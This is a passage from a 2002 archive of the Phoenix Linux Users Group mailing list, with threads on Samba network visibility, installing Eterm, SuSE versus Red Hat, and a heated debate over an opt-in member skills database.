instances where it can > take several hours to update. Sometimes though, I've seen a machine that > just refuses to show up on the network without any explanation. In that > case, I've changed the Samba hostname (different than you Linux hostname) > and finally got it to work. > > Hope this helps. > this most have been the problem because I was running nmblookup on machines that weren't showing up then a few hours later (where I'm sure I didn't do anything significant) they showed up. Weird. Carl P. > > >--__--__-- > > > >Message: 2 > >From: Carl Parrish > >To: plug-discuss@lists.plug.phoenix.az.us > >Subject: Samba Help?? > >Date: Thu, 27 Jun 2002 14:13:54 -0400 > >Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > >I let some Window users talk me into rebooting my Linux box to try to fix a > problem >now my Samba is fubared. I've restarted /usr/bin/smbd and > /usr/bin/nmbd but now I >can't see any of the window boxes on the network > anyone have any ideas? > > > > > >Carl P. > > > > > >--__--__-- > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:25:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 28 Jun 2002 08:25:32 -0700 (PDT) Subject: eterm Message-ID: <20020628152532.51417.qmail@web10603.mail.yahoo.com> When I was at installfest, I had Kevin O install a terminal window program called Eterm for Mandrake 8.2. Is there one for RH 7.2? Is there a binary I can download? I don't even know where to begin.. I can use the standard one that came with my RH, but the one Kevin O installed looks cool.. ;-) Thanks in Advance. ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:45:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 08:45:22 -0700 Subject: SuSE 7.3 sparc64 In-Reply-To: <3D1BDF7D.5983F15D@georgetoft.com> References: <007801c21e52$0ce15240$2f7c0d82@peyote> <3D1BDF7D.5983F15D@georgetoft.com> Message-ID: <200206280845.22545.zen2now@qwest.net> WoW!!! thats impressive that they even wrote you back. KUDO's to SuSE for that one, well i am becoming very fond of the little lizard. so much so that i want to run it @home. :~D slr On Thursday 27 June 2002 09:01 pm, George Toft wrote: > slr wrote: > [snip] > > > ok, i will use YaST like a good lizard. :~D > > > > looking at the choices i had, SuSE was the only Distro i could find that > > had a newer kernel written for the sparc64. all the others lagged behind! > > so after spending time with it at work, i am thinking about nuking RH7.1 > > and installing the new SuSE on my workstation @home. > > > > Should i X RH? > > I fond SuSE is a much more responsive company than Red Hat, so I would, > but it is up to you. > > I say they are more responsive as I suggested they add mplayer to their > distro, and about a month later, I got a note from them saying they > would. > > George > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:53:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Paul Dickson) Date: Fri, 28 Jun 2002 08:53:36 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <3D1AAF95.90809@cox.net> References: <3D1A90F6.B045D1DB@qwest.net> <200206262236.18276.krycom1@cox.net> <3D1AAF95.90809@cox.net> Message-ID: <20020628085336.3428cb5c.dickson@permanentmail.com> On Wed, 26 Jun 2002 23:24:21 -0700, Bob Cober wrote: > I paid $179 for RH 7.3 Pro (well, the company did), and am very happy > with it. It comes with 3 OS cds, 1 doc, 2 source, and 3 app cds. It > also includes a bootable cdrom business card called the "Survival cd". The BBC (Bootable Business Card) is available for downloading at: ftp://ftp.redhat.de/pub/rh-addons/rescue-cd/ At 30MB, the .iso is downloadable even on a dialup connection. -Paul From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:59:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 28 Jun 2002 08:59:10 -0700 Subject: eterm In-Reply-To: <20020628152532.51417.qmail@web10603.mail.yahoo.com> References: <20020628152532.51417.qmail@web10603.mail.yahoo.com> Message-ID: <1025279950.28130.18.camel@bryceco1> On my Mandrake 8.2, it's under the eterm RPM. Just find it and install it. Alternatively, you could use MandrakeUpdate to search through the uninstalled packages and install it that way. On Fri, 2002-06-28 at 08:25, Alpha Zenon Sanchez wrote: > When I was at installfest, I had Kevin O install a > terminal window program called Eterm for Mandrake 8.2. > > Is there one for RH 7.2? Is there a binary I can > download? I don't even know where to begin.. > > I can use the standard one that came with my RH, but > the one Kevin O installed looks cool.. ;-) > > Thanks in Advance. > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce Chidester Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:02:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Fri, 28 Jun 2002 09:02:59 -0700 Subject: Install fest interest generation In-Reply-To: <006001c21e51$6c12c970$0301010a@tickticker.com> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> <02062715413316.07972@nova.wedge.org> <006001c21e51$6c12c970$0301010a@tickticker.com> Message-ID: <200206280902.59893@granroth.org> On Thursday 27 June 2002 08:10 pm, tickticker wrote: > I'm from the Detroit area and we just referred to them as snowbound > except for the month of pleasant (for mich) weather. Well, like we always said, the four seasons in da UP are: 1. Early Winter 2. Mid Winter 3. Late Winter 4. Next Winter -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:17:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 28 Jun 2002 09:17:26 -0700 Subject: Membership database In-Reply-To: References: <001d01c21e40$facc04d0$6701a8c0@drghastly> Message-ID: <5.1.0.14.0.20020628091621.02472280@localhost> Yeeeaaahhh! Someone that understands what I mean. I want to market what I have and I want to see others that market their stuff. Period. No forcing, no opting out, just plain wanting in and for a reason. Kimi Adams At 6/27/02, you wrote: >Am 27. Jun, 2002 schwätzte Dr.G so: > > > I'm afraid I didn't sign up to this list to have my email put into a DB > with > > a list of skills/references on me so that someone can go in there and just > > send me email whenever they have a problem. I thought that was what > PLUG was > >I don't think that's what anyone was proposing. I hope it wasn't. > >I try to get people to mail the list rather than going to me directly. > >Admittedly I sometimes go directly to a few people because I know they're >working on the project in question or I specifically want their opinion. > >What was proposed was to email the people on the list and ask them to sign >up. That's SPAM and I, personally, am very much against that. Announcing it >as a new project on the appropriate lists is fine. That will get better >reception, so that's the way to go anyway. > >The db thing should be totally an opt-in thing, e.g. you initiate your entry >and you maintain it. I think that's what's been proposed. > > > If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is > > just as annoyng as MSN/hotmail signing you up for thier spam, not telling > > you, and then saying "Oh, well, its OPT-Out..." > >Opt-out should be illegal. At the international level. Period. Actually, at >the intergalactic level! > >ciao, > >der.hans >-- ># https://www.LuftHans.com/ ># When I work, I work hard. When I play, I play hard. ># When I sit, I sleep. - Embe Kugler > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:14:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 28 Jun 2002 09:14:48 -0700 Subject: Membership database In-Reply-To: <001d01c21e40$facc04d0$6701a8c0@drghastly> References: <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020627172154.025325b0@localhost> Message-ID: <5.1.0.14.0.20020628085153.0246a0e0@localhost> Beginning of Kimi's rant...... I am busy 12 hours a day. I have many tasks that pop up here and there and many contacts. If I did not want to be part of this listing, for the exact reasons you mentioned of being able to ask questions and get answers, then I wouldn't be here. No one has stated at this point that you *have* to be part of a database. My business is making money doing services and selling products that are run by and used on Debian. My business is to know what I do and where my company is going. However, I don't know everything and as much as people wish to think this, I don't know that much outside of running by business with Linux. PLUG and AZOTO have both talked about projects and most people do them so that they can *market* their skills. How is creating a database of those same people creating so much flak on this list? That's what I want to find. A database of skills that will help me help all of you. If someone walks in my door with a need, I want to fulfill it, even if I am not paid. That's the structure of our business and how come we are still here even though many ISP's are out of business or failing. End of Kimi's rant....... At 6/27/02, you wrote: >I'm afraid I didn't sign up to this list to have my email put into a DB with >a list of skills/references on me so that someone can go in there and just >send me email whenever they have a problem. I thought that was what PLUG was >for, to discuss the problem and get multiple points of view and figure out >the best tool for the job. > >It's funny how a LOT of people complain about being on someone's SPAM list >and when they get told "You can just delete it" they get VERY upset. "I >didn't want to be on it in the FIRST place!" Your proposing to do that to >everyone who hates SPAM. > >You talk about not wanting to have to go through all the emails PLUG >generates to find the answers to your issues. *I* do not want to have to go >thought all the PLUG emails AND everyones PERSONAL emails to me to find the >answers I need. I get enough e-mail as it is, I do not need to wade through >more. If someone sees I posted a response to answer a question and they wish >to follow up with me privately, thats fine. But I don't want emails just >coming out of the blue like crazy (NOT that I am saying you will. I am a >newbie afterall, I'm just stating a view point :) The opposite applies. If >someone whishes to give me an answer privately, that is also obviously ok. > >If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is >just as annoyng as MSN/hotmail signing you up for thier spam, not telling >you, and then saying "Oh, well, its OPT-Out..." > >----- Original Message ----- >From: "Kimi A. Adams" >To: >Sent: Thursday, June 27, 2002 5:42 PM >Subject: Re: Membership database > > > > The purpose of any website or database that is accessible from outside is > > to get to information. Just like Google and other search engines, it's a > > database that you would search for what you need from people who > > register. Hans stated there is something being worked on for the > > website. I have stated I have something available that can be tweaked to > > preferences. > > > > However you send information about the database is fine by me. SPAM or > > not, if you don't want to read it, delete it. We can promote it on the > > website and on the lists, including the announce list. > > > > I won't go into whether processing time, display time, hard drive space, > > etc. would be available or would take up too much of these resources. The > > point is that I am wanting more to find the information that I am looking > > for instead of having to email the listing and searching through the email > > responses to get what I want or need at the time. > > > > I know there are sites out there where I can search for things that I may > > need or want at any given time, but PLUG people are who I turn to. I want > > to know that if I am looking for this one part or this one service or > > someone who can wave this wand, that I can find it in my own time, rather > > than having to drag myself through lot's of emails and calls that get me > > off track from the "thing" I most want. > > > > Just kinda why I brought this up and how I would like to see things > > improved upon. > > > > Kimi Adams > > Unity Wave > > > > At 6/27/02, you wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > > >Hash: SHA1 > > > > > >My thoughts on a member database. > > > > > >I think it is a great idea. As of right now, we have little information > > >about who is subscribed to any of the mailing lists, other than their >mail > > >address. Some people might consider that a "good thing". > > > > > >Any membership information should be gathered voluntarily. We should not > > >require anyone to add information to the database. We should warn them >that > > >we will collect at least the email address that they are using to >subscribe > > >to a list for the membership database. We do, after all, consider anyone > > >subscribed to any of our mail lists as a PLUG member (makes our numbers >look > > >really great). > > > > > >I bet we could get Brian to capture a snapshot of the current >subscribers' > > >email addresses from Mailman. We could them mass-email all subscribers > > >pointing them to a yet-to-be built web page with a form to fill out as >much > > >or as little information as they want in the database. I bet we could >even > > >set up a mechanism to send new subscribers to get sent there >automatically. > > >Probably should set up a way to delete data when someone unsubscribes. >This > > >is tougher because a person may be subscribed to all the lists but only >be > > >unsubscribing from one or two. > > > > > >As far a web space for members, how much space do we have available that >we > > >can use for members' pages? It is one thing to search the database and > > >display data about one member, but it will take a lot more space if we >set > > >aside even 1M of space for every member. It will take some resources for >the > > >database web page that collects the data and for the database and for the > > >scripts that need to be written. It will take more space to search and > > >display routines based on criteria input (sounds like a job for our PhP > > >gurus). > > > > > >All in all, I consider this a great project. It would be even greater if >we > > >release all the tools after it is done. I am almost surprised that >another > > >UG has not done something like this already. So what do we need in terms >of > > >hardware, software, and manpower? Who is gonna organize it? How many >members > > >would be interested in participating? > > >- -- > > >Jim > > > > > >Freedom is worth protecting > > > > > >-----BEGIN PGP SIGNATURE----- > > >Version: PGP 6.5.8 > > > > > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t > > >qR5NkSwamOTOgLRJ+rIAeJDg > > >=XeNW > > >-----END PGP SIGNATURE----- > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:13:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 28 Jun 2002 09:13:48 -0700 (PDT) Subject: Samba Help?? In-Reply-To: <1025274805.28579.43.camel@hawk> Message-ID: On 28 Jun 2002, Carl Parrish wrote: > Btw my samba problem seems to have fixed itself. This may have been because it can take quite a while for SMB requests to fully propogate throughout the network. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:31:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 28 Jun 2002 11:31:22 -0400 (EDT) Subject: Cringely on Palladium Message-ID: http://www.pbs.org/cringely/pulpit/pulpit20020627.html ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:32:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 11:32:09 -0500 (CDT) Subject: SuSE 7.3 sparc64 In-Reply-To: <200206280845.22545.zen2now@qwest.net> Message-ID: > > > ok, i will use YaST like a good lizard. :~D Good Lizards dont use non free software. ;) > > > looking at the choices i had, SuSE was the only Distro i could find that > > > had a newer kernel written for the sparc64. all the others lagged behind! > > > so after spending time with it at work, i am thinking about nuking RH7.1 > > > and installing the new SuSE on my workstation @home. I guess Debian isn't a distro? http://www.debian.org/releases/unstable/sparc/install or 2.4 isnt a new kernel? http://mirror.mcs.anl.gov/debian/pool/main/k/kernel-image-sparc-2.4/ > > I fond SuSE is a much more responsive company than Red Hat, so I would, > > but it is up to you. > > > > I say they are more responsive as I suggested they add mplayer to their > > distro, and about a month later, I got a note from them saying they > > would. I am not sure what makes you think Red Hat is not responsive? Believe me I have no love for Red Hat the distribution, but in writing free software, often times complex C debugging questions have been answered directly by Owen Taylor or Havoc Pennington for directly in IRC or via email with almost no latency. To me this is MUCH more valuable communication (ability to talk to developers not sales drones). Further more David Mason the RHAD Labs director on many occassions has answered Docbook questions with near no delay. Even their sales drones have been rather response if to my email requests. Maybe I have just been lucky? -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:45:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 28 Jun 2002 09:45:05 -0700 Subject: Membership database Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B546@mail.int.fh.org> I see no problem at all with an opt in only database which is what I believe Kimi is proposing. Those who wish to be included simply sign up much the same way many users on this list signed up for the "Registered Linux User" database. That one created no flak and this one shouldn't either. As long as the list administrators make the list membership open to viewing by any list member, we really don't have a complaint if someone used that to manually copy all our email addresses into a list for whatever purpose they want. We do all have the option of hiding our addresses from viewing. Only a few of us have opted for that. I'm a bit surprised by all the concern from a group that is primarily composed of anti restriction libertarian leaning people over the idea of someone exercising their freedom to collect data from a public source. -----Original Message----- From: Kimi A. Adams [mailto:kimi@unitywave.com] Sent: Friday, June 28, 2002 9:15 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Membership database Beginning of Kimi's rant...... I am busy 12 hours a day. I have many tasks that pop up here and there and many contacts. If I did not want to be part of this listing, for the exact reasons you mentioned of being able to ask questions and get answers, then I wouldn't be here. No one has stated at this point that you *have* to be part of a database. My business is making money doing services and selling products that are run by and used on Debian. My business is to know what I do and where my company is going. However, I don't know everything and as much as people wish to think this, I don't know that much outside of running by business with Linux. PLUG and AZOTO have both talked about projects and most people do them so that they can *market* their skills. How is creating a database of those same people creating so much flak on this list? That's what I want to find. A database of skills that will help me help all of you. If someone walks in my door with a need, I want to fulfill it, even if I am not paid. That's the structure of our business and how come we are still here even though many ISP's are out of business or failing. End of Kimi's rant....... At 6/27/02, you wrote: >I'm afraid I didn't sign up to this list to have my email put into a DB with >a list of skills/references on me so that someone can go in there and just >send me email whenever they have a problem. I thought that was what PLUG was >for, to discuss the problem and get multiple points of view and figure out >the best tool for the job. > >It's funny how a LOT of people complain about being on someone's SPAM list >and when they get told "You can just delete it" they get VERY upset. "I >didn't want to be on it in the FIRST place!" Your proposing to do that to >everyone who hates SPAM. > >You talk about not wanting to have to go through all the emails PLUG >generates to find the answers to your issues. *I* do not want to have to go >thought all the PLUG emails AND everyones PERSONAL emails to me to find the >answers I need. I get enough e-mail as it is, I do not need to wade through >more. If someone sees I posted a response to answer a question and they wish >to follow up with me privately, thats fine. But I don't want emails just >coming out of the blue like crazy (NOT that I am saying you will. I am a >newbie afterall, I'm just stating a view point :) The opposite applies. If >someone whishes to give me an answer privately, that is also obviously ok. > >If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is >just as annoyng as MSN/hotmail signing you up for thier spam, not telling >you, and then saying "Oh, well, its OPT-Out..." > >----- Original Message ----- >From: "Kimi A. Adams" >To: >Sent: Thursday, June 27, 2002 5:42 PM >Subject: Re: Membership database > > > > The purpose of any website or database that is accessible from outside is > > to get to information. Just like Google and other search engines, it's a > > database that you would search for what you need from people who > > register. Hans stated there is something being worked on for the > > website. I have stated I have something available that can be tweaked to > > preferences. > > > > However you send information about the database is fine by me. SPAM or > > not, if you don't want to read it, delete it. We can promote it on the > > website and on the lists, including the announce list. > > > > I won't go into whether processing time, display time, hard drive space, > > etc. would be available or would take up too much of these resources. The > > point is that I am wanting more to find the information that I am looking > > for instead of having to email the listing and searching through the email > > responses to get what I want or need at the time. > > > > I know there are sites out there where I can search for things that I may > > need or want at any given time, but PLUG people are who I turn to. I want > > to know that if I am looking for this one part or this one service or > > someone who can wave this wand, that I can find it in my own time, rather > > than having to drag myself through lot's of emails and calls that get me > > off track from the "thing" I most want. > > > > Just kinda why I brought this up and how I would like to see things > > improved upon. > > > > Kimi Adams > > Unity Wave > > > > At 6/27/02, you wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > > >Hash: SHA1 > > > > > >My thoughts on a member database. > > > > > >I think it is a great idea. As of right now, we have little information > > >about who is subscribed to any of the mailing lists, other than their >mail > > >address. Some people might consider that a "good thing". > > > > > >Any membership information should be gathered voluntarily. We should not > > >require anyone to add information to the database. We should warn them >that > > >we will collect at least the email address that they are using to >subscribe > > >to a list for the membership database. We do, after all, consider anyone > > >subscribed to any of our mail lists as a PLUG member (makes our numbers >look > > >really great). > > > > > >I bet we could get Brian to capture a snapshot of the current >subscribers' > > >email addresses from Mailman. We could them mass-email all subscribers > > >pointing them to a yet-to-be built web page with a form to fill out as >much > > >or as little information as they want in the database. I bet we could >even > > >set up a mechanism to send new subscribers to get sent there >automatically. > > >Probably should set up a way to delete data when someone unsubscribes. >This > > >is tougher because a person may be subscribed to all the lists but only >be > > >unsubscribing from one or two. > > > > > >As far a web space for members, how much space do we have available that >we > > >can use for members' pages? It is one thing to search the database and > > >display data about one member, but it will take a lot more space if we >set > > >aside even 1M of space for every member. It will take some resources for >the > > >database web page that collects the data and for the database and for the > > >scripts that need to be written. It will take more space to search and > > >display routines based on criteria input (sounds like a job for our PhP > > >gurus). > > > > > >All in all, I consider this a great project. It would be even greater if >we > > >release all the tools after it is done. I am almost surprised that >another > > >UG has not done something like this already. So what do we need in terms >of > > >hardware, software, and manpower? Who is gonna organize it? How many >members > > >would be interested in participating? > > >- -- > > >Jim > > > > > >Freedom is worth protecting > > > > > >-----BEGIN PGP SIGNATURE----- > > >Version: PGP 6.5.8 > > > > > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t > > >qR5NkSwamOTOgLRJ+rIAeJDg > > >=XeNW > > >-----END PGP SIGNATURE----- > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:02:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 13:02:10 -0400 Subject: Membership database Message-ID: <20020628170209.WHCS3097.lakemtao02.cox.net@smtp.east.cox.net> Uh. I definately have a problem with sharing my information with ANYONE without my consent. I do not consider subscribing my email address to a list to be a consent to give that information to whomever YOU please. I believe in 100% privacy. The only reason I do not "hide" my email address from other list people is, whats the point? it gets listed when you send emails to PLUG anyways. As soon as you strip out my email address from the From field and replace it with just PLUG or something anonymous then I will see the point in making my name invisible to list members. Is it really THAT hard to make it an opt in link you sign up through on the PLUG website? > > From: Tom Achtenberg > Date: 2002/06/28 Fri PM 12:45:05 EDT > To: "'plug-discuss@lists.plug.phoenix.az.us'" > > Subject: RE: Membership database > > I see no problem at all with an opt in only database which is what I believe Kimi is proposing. Those who wish to be included simply sign up much the same way many users on this list signed up for the "Registered Linux User" database. That one created no flak and this one shouldn't either. As long as the list administrators make the list membership open to viewing by any list member, we really don't have a complaint if someone used that to manually copy all our email addresses into a list for whatever purpose they want. We do all have the option of hiding our addresses from viewing. Only a few of us have opted for that. I'm a bit surprised by all the concern from a group that is primarily composed of anti restriction libertarian leaning people over the idea of someone exercising their freedom to collect data from a public source. > > -----Original Message----- > From: Kimi A. Adams [mailto:kimi@unitywave.com] > Sent: Friday, June 28, 2002 9:15 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Membership database > > > Beginning of Kimi's rant...... > > I am busy 12 hours a day. I have many tasks that pop up here and there and > many contacts. If I did not want to be part of this listing, for the exact > reasons you mentioned of being able to ask questions and get answers, then > I wouldn't be here. > > No one has stated at this point that you *have* to be part of a > database. My business is making money doing services and selling products > that are run by and used on Debian. My business is to know what I do and > where my company is going. However, I don't know everything and as much as > people wish to think this, I don't know that much outside of running by > business with Linux. > > PLUG and AZOTO have both talked about projects and most people do them so > that they can *market* their skills. How is creating a database of those > same people creating so much flak on this list? > > That's what I want to find. A database of skills that will help me help > all of you. If someone walks in my door with a need, I want to fulfill it, > even if I am not paid. That's the structure of our business and how come > we are still here even though many ISP's are out of business or failing. > > End of Kimi's rant....... > > > At 6/27/02, you wrote: > >I'm afraid I didn't sign up to this list to have my email put into a DB with > >a list of skills/references on me so that someone can go in there and just > >send me email whenever they have a problem. I thought that was what PLUG was > >for, to discuss the problem and get multiple points of view and figure out > >the best tool for the job. > > > >It's funny how a LOT of people complain about being on someone's SPAM list > >and when they get told "You can just delete it" they get VERY upset. "I > >didn't want to be on it in the FIRST place!" Your proposing to do that to > >everyone who hates SPAM. > > > >You talk about not wanting to have to go through all the emails PLUG > >generates to find the answers to your issues. *I* do not want to have to go > >thought all the PLUG emails AND everyones PERSONAL emails to me to find the > >answers I need. I get enough e-mail as it is, I do not need to wade through > >more. If someone sees I posted a response to answer a question and they wish > >to follow up with me privately, thats fine. But I don't want emails just > >coming out of the blue like crazy (NOT that I am saying you will. I am a > >newbie afterall, I'm just stating a view point :) The opposite applies. If > >someone whishes to give me an answer privately, that is also obviously ok. > > > >If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is > >just as annoyng as MSN/hotmail signing you up for thier spam, not telling > >you, and then saying "Oh, well, its OPT-Out..." > > > >----- Original Message ----- > >From: "Kimi A. Adams" > >To: > >Sent: Thursday, June 27, 2002 5:42 PM > >Subject: Re: Membership database > > > > > > > The purpose of any website or database that is accessible from outside is > > > to get to information. Just like Google and other search engines, it's a > > > database that you would search for what you need from people who > > > register. Hans stated there is something being worked on for the > > > website. I have stated I have something available that can be tweaked to > > > preferences. > > > > > > However you send information about the database is fine by me. SPAM or > > > not, if you don't want to read it, delete it. We can promote it on the > > > website and on the lists, including the announce list. > > > > > > I won't go into whether processing time, display time, hard drive space, > > > etc. would be available or would take up too much of these resources. The > > > point is that I am wanting more to find the information that I am looking > > > for instead of having to email the listing and searching through the email > > > responses to get what I want or need at the time. > > > > > > I know there are sites out there where I can search for things that I may > > > need or want at any given time, but PLUG people are who I turn to. I want > > > to know that if I am looking for this one part or this one service or > > > someone who can wave this wand, that I can find it in my own time, rather > > > than having to drag myself through lot's of emails and calls that get me > > > off track from the "thing" I most want. > > > > > > Just kinda why I brought this up and how I would like to see things > > > improved upon. > > > > > > Kimi Adams > > > Unity Wave > > > > > > At 6/27/02, you wrote: > > > >-----BEGIN PGP SIGNED MESSAGE----- > > > >Hash: SHA1 > > > > > > > >My thoughts on a member database. > > > > > > > >I think it is a great idea. As of right now, we have little information > > > >about who is subscribed to any of the mailing lists, other than their > >mail > > > >address. Some people might consider that a "good thing". > > > > > > > >Any membership information should be gathered voluntarily. We should not > > > >require anyone to add information to the database. We should warn them > >that > > > >we will collect at least the email address that they are using to > >subscribe > > > >to a list for the membership database. We do, after all, consider anyone > > > >subscribed to any of our mail lists as a PLUG member (makes our numbers > >look > > > >really great). > > > > > > > >I bet we could get Brian to capture a snapshot of the current > >subscribers' > > > >email addresses from Mailman. We could them mass-email all subscribers > > > >pointing them to a yet-to-be built web page with a form to fill out as > >much > > > >or as little information as they want in the database. I bet we could > >even > > > >set up a mechanism to send new subscribers to get sent there > >automatically. > > > >Probably should set up a way to delete data when someone unsubscribes. > >This > > > >is tougher because a person may be subscribed to all the lists but only > >be > > > >unsubscribing from one or two. > > > > > > > >As far a web space for members, how much space do we have available that > >we > > > >can use for members' pages? It is one thing to search the database and > > > >display data about one member, but it will take a lot more space if we > >set > > > >aside even 1M of space for every member. It will take some resources for > >the > > > >database web page that collects the data and for the database and for the > > > >scripts that need to be written. It will take more space to search and > > > >display routines based on criteria input (sounds like a job for our PhP > > > >gurus). > > > > > > > >All in all, I consider this a great project. It would be even greater if > >we > > > >release all the tools after it is done. I am almost surprised that > >another > > > >UG has not done something like this already. So what do we need in terms > >of > > > >hardware, software, and manpower? Who is gonna organize it? How many > >members > > > >would be interested in participating? > > > >- -- > > > >Jim > > > > > > > >Freedom is worth protecting > > > > > > > >-----BEGIN PGP SIGNATURE----- > > > >Version: PGP 6.5.8 > > > > > > > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t > > > >qR5NkSwamOTOgLRJ+rIAeJDg > > > >=XeNW > > > >-----END PGP SIGNATURE----- > > > >________________________________________________ > > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > >post to the list quickly and you use Netscape to write mail. > > > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > 